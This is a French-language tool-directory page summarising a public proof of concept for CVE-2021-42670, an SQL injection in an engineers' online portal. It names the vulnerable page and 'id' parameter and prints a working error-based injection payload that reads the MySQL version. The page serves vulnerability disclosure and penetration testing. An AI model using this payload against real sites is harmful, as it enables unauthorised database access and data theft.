Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-42670 — CVE-2021-42670 - Vulnérabilité d'injection SQL dans le système de portail en ligne des ingénieurs. | Kitploit
Outils/GitHubGitHub/0xdeku/cve-2021-42670
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionSécurité des Bases de Données
GitHub0xdeku/cve-2021-42670

CVE-2021-42670

CVE-2021-42670 - Vulnérabilité d'injection SQL dans le système de portail en ligne des ingénieurs.

Voir le dépôt
218il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-42670

CVE-2021-42670 - Vulnérabilité d'injection SQL dans le système de portail en ligne des ingénieurs.

Description technique :

Une vulnérabilité d'injection SQL existe dans le portail en ligne des ingénieurs. Un attaquant peut exploiter le paramètre vulnérable "id" dans la page web "announcements_student.php" afin de manipuler la requête SQL effectuée. En conséquence, l'attaquant peut extraire des données sensibles du serveur web.

Composants concernés -

Page vulnérable - announcements_student.php

Paramètre vulnérable - "id"

Étapes pour exploiter :

  1. Accédez à http://localhost/nia_munoz_monitoring_system/announcements_students.php
  2. Insérez votre payload dans le paramètre id

Preuve de concept (Poc) -

Le payload suivant vous permettra d'extraire la version du serveur MySql exécutée sur le serveur web -

1' AND (SELECT 4356 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(MID((IFNULL(CAST(VERSION() AS NCHAR),0x20)),1,51)),0x7178786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pMLo'='pMLo

CVE-2021-42670

Références -

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42670

https://nvd.nist.gov/vuln/detail/CVE-2021-42670

Découvert par -

Alon Leviev(0xDeku), 22 octobre 2021.

Télécharger l’outil